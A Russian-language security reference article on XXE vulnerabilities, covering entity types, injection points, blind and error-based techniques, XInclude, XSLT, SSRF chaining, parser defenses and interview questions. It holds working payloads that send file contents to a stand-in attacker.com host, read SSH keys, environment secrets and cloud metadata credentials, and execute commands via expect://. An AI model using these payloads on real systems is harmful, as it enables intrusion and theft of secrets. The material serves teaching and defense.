На странице
apsyleg1 мин
#xxe #xml #dtd #blind-xxe #ssrf #web-security

XML External Entity (XXE)

1. Что такое XXE

XXE — уязвимость, при которой XML-парсер резолвит внешние сущности, позволяя атакующему читать файлы, делать серверные запросы и (иногда) выполнять код.

Атакующий → XML с вредоносным DTD → Парсер → Резолвит сущность
                                                ↓
                                    file:///etc/passwd
                                    http://169.254.169.254/...
                                    http://internal-service/...

Ключевое: парсер сам идёт за данными по URL из SYSTEM — атакующий лишь указывает куда.

Это не баг в коде приложения — это дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию. Поддержка внешних сущностей была фичей, а не багом. Проблема в том, что «любой URI» включает file://, http://, ftp://, а иногда и expect://.


2. Фундамент: XML, DTD, Entities

XML-сущность (Entity)

Сущность — это переменная в XML. Объявляется в DTD, используется в документе или в самом DTD.

Два деления сущностей

По источнику значения:

ТипЗначениеПример
Внутренняя (internal)Задано прямо в DTD<!ENTITY name "Иван">
Внешняя (external)Загружается из файла/URL<!ENTITY name SYSTEM "file:///etc/passwd">

По месту использования:

ТипСинтаксисГде работаетДля чего
General entity&name;В теле XML-документаClassic XXE
Parameter entity%name;Только внутри DTDBlind XXE (OOB)
<!-- General entity — в теле документа -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<foo>&xxe;</foo>

<!-- Parameter entity — внутри DTD -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;

Почему parameter entity важны: в blind XXE нужно собрать payload внутри DTD — прочитать файл и вставить его содержимое в URL. General entity так не может — он работает только в теле. Parameter entity позволяет подставлять значения прямо в DTD, строя динамические конструкции.

Ограничение parameter entities в internal DTD subset

По спецификации XML нельзя определить parameter entity и использовать её для создания новых entity в том же internal DTD subset. Это означает, что конструкция вида <!ENTITY % a "..."> <!ENTITY % b "<!ENTITY &#x25; c SYSTEM '...'> %a;"> %b; внутри <!DOCTYPE foo [ ... ]> не работает — парсер отклонит её.

Именно поэтому для blind XXE нужен внешний DTD — parameter entities полноценно работают только во внешнем DTD. Это объясняет, почему blind XXE всегда загружает evil.dtd с сервера атакующего: только в загруженном DTD-файле парсер позволяет свободно комбинировать parameter entities, создавая цепочки подстановок.

Исключение — трюк с переопределением entity из локального системного DTD (описан в разделе 4, Error-based через переопределение сущности). В этом случае мы подгружаем легитимный DTD-файл с самого сервера и переопределяем одну из его сущностей своим payload.

DTD (Document Type Definition)

DTD — набор правил, описывающих структуру XML. Именно в DTD объявляются сущности.

Без DTD → нет объявления сущностей → нет XXE.

Где может находиться DTD:

<!-- 1. Внутренний DTD — в самом документе (между [ и ]) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- 2. Внешний DTD — загружается по URL -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
<foo>&xxe;</foo>

<!-- 3. Комбинированный — внутренний + внешний -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd" [
  <!ENTITY % local "значение">
]>

3. Где искать XXE

Очевидные точки

  • API-эндпоинты с Content-Type: application/xml или text/xml
  • SOAP-сервисы (весь протокол на XML)
  • Загрузка XML-файлов (конфиги, фиды, данные)
  • RSS/Atom-импорт

Менее очевидные точки

  • Загрузка SVG — SVG это XML
  • Загрузка DOCX/XLSX/PPTX — ZIP-архивы с XML внутри
  • Загрузка GPX — геоданные в XML
  • XHTML — HTML в формате XML
  • SAML — аутентификация на основе XML
  • PDF-генерация из XML/XSLT
  • Конфигурационные файлы.xml, .plist, .svg

Подмена Content-Type (JSON → XML)

Если приложение принимает JSON, попробуй сменить формат:

# Было:
POST /api/user HTTP/1.1
Content-Type: application/json

{"name": "test", "email": "test@test.com"}

# Стало:
POST /api/user HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <email>test@test.com</email>
</user>

Почему работает: фреймворки (Spring, ASP.NET, Rails) часто выбирают парсер автоматически по Content-Type. Если XML-парсер включён и не захарденен — XXE.

Проверяй также: text/xml, application/xhtml+xml, image/svg+xml.


4. Типы XXE

4.1 Classic (Non-blind) XXE

Ответ парсера отображается — содержимое файла видно в ответе.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Ответ сервера:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

4.2 Blind XXE

Ответ парсера не отображается. Три подхода:

OOB (Out-of-Band) — отправка данных наружу

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&send;</foo>

evil.dtd на сервере атакующего:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?d=%file;'>">
%all;

Цепочка:

  1. Парсер читает /etc/hostname → в %file
  2. Загружает evil.dtd → в %dtd
  3. %all собирает новую сущность send с данными в URL
  4. &send; триггерит HTTP-запрос на attacker.com с данными

Инструменты для приёма: Burp Collaborator, interactsh, свой сервер с python3 -m http.server.

Error-based — данные в сообщении об ошибке

Полезно когда firewall блокирует исходящие (OOB не работает).

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
  %dtd;
]>
<foo>&trigger;</foo>

error.dtd:

<!ENTITY % all "<!ENTITY trigger SYSTEM 'file:///nonexistent/%file;'>">
%all;

Парсер пытается открыть file:///nonexistent/web-server-01 → ошибка:

java.io.FileNotFoundException: /nonexistent/web-server-01

→ Содержимое файла в тексте ошибки.

Error-based через переопределение сущности (без исходящих)

Если даже evil.dtd загрузить нельзя, но есть локальный DTD на сервере:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
<foo>bar</foo>

Переопределяем сущность из локального DTD, вставляя свой payload. Это единственный способ эксплуатации, когда исходящие соединения полностью заблокированы — никакой внешний DTD не нужен, всё происходит локально.

4.3 XXE → SSRF

XXE — полноценный вектор для SSRF:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-service:8080/admin">
]>
<foo>&xxe;</foo>

Все техники из SSRF применимы: cloud metadata, сканирование портов, обращение к внутренним сервисам.

4.4 XXE → DoS (Billion Laughs)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!-- ... -->
]>
<foo>&lol9;</foo>

9 уровней вложенности = 10^9 копий строки "lol" — гигабайты в памяти парсера. Экспоненциальное раскрытие → парсер съедает всю память.

Не даёт утечки данных, но полезно для:

  • Подтверждения обработки DTD — если Billion Laughs работает, парсер обрабатывает entities, можно пробовать XXE
  • DoS-атаки — выведение сервиса из строя

5. XInclude

Когда актуально

Ты не контролируешь весь XML-документ — только часть данных, которая вставляется в XML на сервере. DOCTYPE объявить нельзя (он должен быть в начале документа).

Пример: твой ввод (имя пользователя, комментарий) подставляется внутрь XML-шаблона на бэкенде.

Payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
  • xmlns:xi — объявление namespace для XInclude
  • parse="text" — читать как текст (без этого парсер ожидает валидный XML)
  • Не нужен DOCTYPE
  • Работает только если парсер поддерживает XInclude (libxml2, Xerces, большинство Java-парсеров)

Практическое упражнение: XInclude атака (PortSwigger).


6. XXE через файловые форматы

SVG

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>

Загружаешь как аватар/картинку → если сервер парсит SVG (например, конвертирует в PNG) → XXE.

DOCX / XLSX

  1. Создай обычный .docx файл
  2. Распакуй (это ZIP): unzip document.docx -d doc_extracted
  3. Отредактируй doc_extracted/word/document.xml — вставь DTD с payload
  4. Запакуй обратно: cd doc_extracted && zip -r ../evil.docx .
  5. Загрузи на сервер

Файлы внутри DOCX, где можно вставить payload:

  • word/document.xml
  • [Content_Types].xml
  • _rels/.rels

7. Проблема "плохих" символов и обходы

Проблема

Когда парсер подставляет содержимое файла, он пытается распарсить его как XML. Если в файле есть <, &, ]]> — парсер ломается.

file:///etc/passwd             ✅  — нет спецсимволов
file:///var/www/config.php     ❌  — полно < и &
file:///etc/fstab              ❌  — могут быть &

Обход 1: PHP-фильтр (если сервер на PHP)

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">

Файл приходит в base64 — никаких спецсимволов. Декодируешь на своей стороне.

Обход 2: CDATA-обёртка через parameter entities

evil.dtd:

<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY wrapped '%start;%file;%end;'>">
%all;

Основной XML:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&wrapped;</foo>

Содержимое файла оборачивается в CDATA → парсер не интерпретирует спецсимволы.

Обход 3: Протокол jar:// (Java)

jar:http://attacker.com/evil.jar!/file.txt

Java-специфичный — скачивает архив, распаковывает, читает файл внутри. Может использоваться для обхода ограничений на протоколы.


8. Эксплуатация: что читать

Системные файлы

Linux:

file:///etc/passwd
file:///etc/shadow              — хеши паролей (нужен root)
file:///etc/hostname
file:///proc/self/environ       — переменные окружения (секреты, ключи)
file:///proc/self/cmdline       — аргументы процесса
file:///home/user/.ssh/id_rsa   — приватный SSH-ключ
file:///home/user/.bash_history — история команд

Windows:

file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/Users/Administrator/.ssh/id_rsa
file:///C:/inetpub/wwwroot/web.config

Конфиги приложений

file:///var/www/html/config.php
file:///var/www/html/.env
file:///var/www/html/wp-config.php
file:///opt/app/application.properties     — Spring Boot
file:///opt/app/application.yml
file:///etc/nginx/nginx.conf
file:///etc/apache2/sites-enabled/000-default.conf

Cloud metadata (XXE → SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/  — AWS
http://metadata.google.internal/computeMetadata/v1/                — GCP
http://169.254.169.254/metadata/instance                           — Azure

Подробнее о SSRF: SSRF (Server-Side Request Forgery).


9. XXE через XSLT

Если сервер выполняет XSLT-трансформацию, функция document() в XSLT может использоваться для чтения файлов и HTTP-запросов — аналогично XXE, но через другой механизм. Это отдельная поверхность атаки, не связанная с DTD и entities.

Чтение файлов через XSLT

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

SSRF через XSLT

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/">
    <xsl:copy-of select="document('http://169.254.169.254/latest/meta-data/')"/>
  </xsl:template>
</xsl:stylesheet>

Почему это работает

XSLT-процессоры (Xalan, Saxon, libxslt) по умолчанию разрешают document(). Функция предназначена для загрузки дополнительных XML-документов во время трансформации, но поддерживает произвольные URI — включая file:// и http://.

Важно: даже если приложение полностью отключило DTD и external entities в XML-парсере, XSLT-трансформация может оставаться уязвимой. Это два разных механизма, и защита от одного не защищает от другого.


10. Связки с другими уязвимостями

XXE редко существует в вакууме — часто эксплуатация строится на цепочке с другими уязвимостями:

ЦепочкаКак работаетИмпакт
XXE → SSRFВнешняя сущность с http:// URICloud metadata, внутренние сервисы
XXE → LFIЧтение исходного кода → поиск новых уязвимостейРаскрытие секретов, дальнейшая эскалация
Blind XXE + DNSDNS exfiltration работает даже через строгие HTTP-файерволыПодтверждение уязвимости, медленная эксфильтрация
XXE → RCEexpect:// (PHP), jar:// цепочки, XSLT code executionПолный контроль сервера
SSRF → XXESSRF на внутренний сервис, парсящий XMLЧтение локальных файлов внутреннего сервера

XXE → RCE (PHP + expect)

URI-схема expect:// в PHP выполняет shell-команды:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>

Если сервер возвращает uid=33(www-data)... — это RCE. Условия: PHP + загруженное расширение expect. Редко встречается в продакшне, часто — в CTF.

DNS exfiltration

Когда HTTP-исходящие полностью заблокированы, DNS-запросы часто проходят:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://%file;.attacker.com/'>">
%eval;

Данные приходят как поддомен в DNS-запросе — можно отслеживать через Burp Collaborator или interactsh.

Подробнее о SSRF: SSRF (Server-Side Request Forgery).


11. Методология тестирования

Шаг 1: Обнаружение точек входа

  • Найти все эндпоинты, принимающие XML (Content-Type, SOAP, файлы)
  • Проверить загрузку файлов: SVG, DOCX, XLSX, XML
  • Попробовать подменить Content-Type с JSON на XML
  • Проверить SAML-эндпоинты

Шаг 2: Проверка обработки DTD

Отправь безвредный payload — если парсер обрабатывает DTD, XXE возможна:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe "testvalue">
]>
<foo>&xxe;</foo>

Если в ответе testvalue → DTD обрабатывается → пробуем external entity.

Шаг 3: Определение типа

СитуацияТипПодход
Ответ парсера виденClassicSYSTEM "file:///etc/passwd"
Ответ не виден, исходящие разрешеныBlind OOBParameter entities + внешний DTD
Ответ не виден, исходящие заблокированыBlind Error-basedОшибка с данными или локальный DTD
Не контролируешь DOCTYPEXIncludexi:include

Шаг 4: Эксплуатация

1. file:///etc/passwd              → подтверждение чтения файлов
2. file:///proc/self/environ       → секреты из env
3. file:///home/user/.ssh/id_rsa   → SSH-ключи
4. http://169.254.169.254/...      → cloud credentials
5. http://internal:PORT/...        → SSRF к внутренним сервисам
6. php://filter/...                → чтение PHP-кода (base64)

Шаг 5: Если не работает

  • Попробуй другие протоколы: file://, http://, php://, jar://
  • Попробуй parameter entities вместо general
  • Попробуй XInclude
  • Попробуй error-based подход
  • Попробуй через файлы (SVG, DOCX)
  • Проверь другие Content-Type
  • Попробуй UTF-16-кодирование (некоторые фильтры проверяют DOCTYPE только в ASCII)
  • Разбей payload на несколько определений сущностей

12. Защита от XXE

Правильный подход — отключить DTD/внешние сущности

Java (DocumentBuilderFactory) — самый надёжный:

// Запретить DOCTYPE целиком
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Java (SAXParserFactory):

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Python (lxml):

parser = etree.XMLParser(resolve_entities=False, no_network=True)

PHP:

libxml_disable_entity_loader(true);  // PHP < 8.0
// В PHP 8.0+ внешние сущности отключены по умолчанию

C# (.NET):

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

Ruby (Nokogiri):

Nokogiri::XML(xml) { |config| config.nonet }

Ловушка: LIBXML_NOENT в PHP

// УЯЗВИМО — ВКЛЮЧАЕТ подстановку сущностей:
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);

// БЕЗОПАСНО — без флага:
$doc = simplexml_load_string($xml);

LIBXML_NOENT = "подставляй значения сущностей в текст" → парсер резолвит external entities → XXE.

Название обманчиво: "NO ENT" кажется = "нет сущностей", но на деле = "нет сущностей в выводе" (заменяй их значениями).

Дефолты парсеров по языкам и версиям

Язык / БиблиотекаБезопасен по умолчанию?С какой версииПримечание
Java DocumentBuilderFactoryНетНужна явная настройка даже в Java 17+
Java SAXParserFactoryНетАналогично
PHP simplexml_load_stringДаPHP 8.0+В PHP <8 нужен libxml_disable_entity_loader(true)
PHP + LIBXML_NOENTНЕТ!Флаг включает подстановку entities (ловушка)
Python lxmlДа4.6+resolve_entities=False, no_network=True по умолчанию
Python defusedxmlДавсегдаСпециально создан для безопасного парсинга
Python xml.etree.ElementTreeЧастичноНе поддерживает external entities, но уязвим к Billion Laughs
.NET XmlReaderДа.NET CoreВ .NET Framework зависит от версии
Ruby NokogiriДа1.13+NONET по умолчанию
libxml2Да2.9+Но LIBXML_NOENT ломает защиту

Общие принципы

  1. Отключай DTD целиком — не пытайся фильтровать отдельные сущности
  2. Не доверяй дефолтам — во многих языках external entities включены по умолчанию
  3. Валидируй Content-Type — не принимай XML если не ожидаешь
  4. Парси файлы безопасно — SVG, DOCX, XLSX парсить с отключёнными entities
  5. Не фильтруй входные данные — фильтры обходятся (UTF-16, parametric entities)
  6. Не используй XML там, где подойдёт JSON
  7. Проверяй парсеры всех форматов, которые могут содержать XML: SVG, DOCX, XLSX, SAML
  8. Следи за конкретными версиями библиотек и их дефолтами — не полагайся на "наверное безопасен"

13. Оценка Severity

SeverityУсловия
CriticalЧтение произвольных файлов с секретами, cloud credentials через SSRF, RCE через цепочку
HighЧтение системных файлов (/etc/passwd, конфиги), SSRF к внутренней сети
MediumBlind XXE с ограниченной эксфильтрацией, SSRF только к определённым хостам
LowТолько DoS (Billion Laughs), DTD обрабатывается но external entities заблокированы

14. Инструменты

ИнструментНазначение
Burp SuiteПерехват запросов, подмена Content-Type, тестирование payload'ов
Burp Collaborator / interactshПодтверждение blind XXE (OOB-callback)
XXEinjectorАвтоматизация XXE-эксплуатации (OOB, error-based)
oxml_xxeГенерация DOCX/XLSX/PPTX с XXE-payload
docemВстраивание XXE в DOCX/XLSX/ODT
python3 -m http.serverБыстрый сервер для приёма OOB и отдачи evil.dtd

15. Известные кейсы

Facebook (2014, Bug Bounty): Blind XXE через загрузку DOCX в карьерном портале → чтение /etc/passwd. Баунти $30,000+.

Uber (2016, Bug Bounty): XXE в SAML-парсере → чтение произвольных файлов с сервера.

Google (2014, Bug Bounty): XXE через загрузку XLSX в Google Toolbar button gallery.

PortSwigger Research: XXE через SVG в загрузке аватаров — распространённый паттерн в реальных приложениях.


16. Q&A — Вопросы для подготовки

1. Что такое XXE?

Уязвимость в XML-парсерах, при которой парсер резолвит внешние сущности (external entities), определённые в DTD. Атакующий указывает URI через SYSTEM — парсер автоматически загружает содержимое файла или URL и подставляет его в документ. Это не баг в коде приложения — это дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию.

2. Какая ключевая предпосылка нужна для XXE?

Парсер должен обрабатывать DTD (Document Type Definition) и поддерживать external entities. Без DTD нет объявления сущностей — нет XXE. Если DOCTYPE запрещён на уровне парсера — атака невозможна (за исключением XInclude, который работает без DTD).

3. Какой типовой импакт у XXE?

Чтение произвольных файлов (file:///etc/passwd, конфиги, SSH-ключи, .env), SSRF к внутренним сервисам и cloud metadata (IAM-ключи), DoS через Billion Laughs. В редких случаях — RCE через expect:// (PHP) или цепочку с десериализацией. Blind XXE добавляет OOB-эксфильтрацию и error-based утечку данных.

4. Чем XXE отличается от "обычной" XML injection?

XML injection — это манипуляция структурой XML-документа (вставка тегов, изменение значений). XXE — эксплуатация возможностей самого парсера через DTD и entities. XXE не меняет логику XML — он заставляет парсер загрузить внешние ресурсы. Это разные уровни атаки: injection работает с данными, XXE — с механизмом парсинга.

5. Что такое blind XXE?

Ситуация, когда парсер резолвит external entities, но результат не отображается в ответе. Эксплуатация идёт через три канала: OOB (out-of-band) — отправка данных через HTTP/DNS-запрос на сервер атакующего с помощью parameter entities и внешнего DTD; error-based — провоцирование ошибки, в тексте которой содержатся данные; переопределение entity из локального системного DTD, когда исходящие соединения заблокированы.

6. Как XXE превращается в SSRF?

Замена file:// на http:// в SYSTEM URI. Парсер делает HTTP-запрос на указанный адрес — включая внутренние адреса (169.254.169.254 для cloud metadata, localhost:PORT для внутренних сервисов). XXE — один из самых простых векторов для SSRF, потому что парсер выполняет запрос автоматически.

7. Почему "мы запретили DOCTYPE" — ещё не всегда конец истории?

XInclude не требует DOCTYPE — он работает через XML namespace и может быть инъектирован даже когда атакующий контролирует только часть XML-документа. XSLT-трансформации используют document() для загрузки внешних ресурсов — это отдельный вектор, не связанный с DTD. SVG, DOCX, XLSX — XML-форматы, которые могут обрабатываться другими парсерами с другими настройками.

8. Почему опасно полагаться на фразу "наш парсер safe by default"?

Java DocumentBuilderFactory уязвим по умолчанию даже в Java 17+. PHP с флагом LIBXML_NOENT включает подстановку entities (название обманчиво). Python xml.etree.ElementTree не поддерживает external entities, но уязвим к Billion Laughs. Каждый парсер требует проверки конкретной версии и конфигурации — нет универсального "safe by default".

9. Что такое Billion Laughs и почему это обсуждают рядом с XXE?

Атака на основе вложенных entity, где каждый уровень ссылается на предыдущий 10 раз — экспоненциальное раскрытие. 9 уровней вложенности = 10^9 копий строки "lol" — гигабайты в памяти парсера. Не даёт утечки данных, но подтверждает обработку DTD (если Billion Laughs работает — парсер обрабатывает entities, можно пробовать XXE). Некоторые парсеры защищены от external entities, но уязвимы к Billion Laughs.

10. Как выглядит правильная защита от XXE?

Отключить DTD целиком на уровне парсера (disallow-doctype-decl в Java, DtdProcessing.Prohibit в .NET). Не фильтровать входные данные — фильтры обходятся (UTF-16, parametric entities). Не использовать XML там, где подойдёт JSON. Проверять парсеры всех форматов, которые могут содержать XML: SVG, DOCX, XLSX, SAML. Следить за конкретными версиями библиотек и их дефолтами — не полагаться на "наверное безопасен".


17. Шпаргалка для быстрого повторения

XXE = парсер резолвит внешние сущности из DTD

Сущности:
  internal/external — откуда значение
  general (&name;) / parameter (%name;) — где используется
  Parameter entities → для blind XXE (работают внутри DTD)
  Parameter entities в internal DTD subset ограничены →
    нужен внешний DTD (или трюк с локальным DTD)

Где: XML API, SOAP, SVG, DOCX/XLSX, подмена Content-Type JSON→XML,
     SAML, GPX, XHTML, PDF-генерация из XSLT

Типы:
  Classic     → ответ виден, SYSTEM "file:///..."
  Blind OOB   → parameter entities + evil.dtd → HTTP-callback
  Error-based → данные в сообщении об ошибке (когда OOB заблокирован)
  Local DTD   → переопределение entity из системного DTD (без исходящих)
  XInclude    → нет контроля над DOCTYPE
  XSLT        → document() для чтения файлов и HTTP (без DTD)

Payload (базовый):
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  <foo>&xxe;</foo>

"Плохие" символы (< &):
  PHP → php://filter/convert.base64-encode/resource=...
  Общий → CDATA-обёртка через parameter entities
  Java → jar:// для обхода ограничений

Связки:
  XXE→SSRF, XXE→LFI, XXE→RCE (expect://),
  Blind XXE+DNS, SSRF→XXE

Цели: /etc/passwd, .env, SSH-ключи, cloud metadata, внутренние API

Защита:
  Отключить DTD целиком (disallow-doctype-decl)
  LIBXML_NOENT → ВКЛЮЧАЕТ подстановку (ловушка!)
  Java уязвима по умолчанию даже в 17+
  Python xml.etree — нет external entities, но есть Billion Laughs
  Не фильтровать — отключать. Не XML — JSON.

Severity: файлы с секретами / cloud keys = critical,
          /etc/passwd = high, blind = medium, DoS = low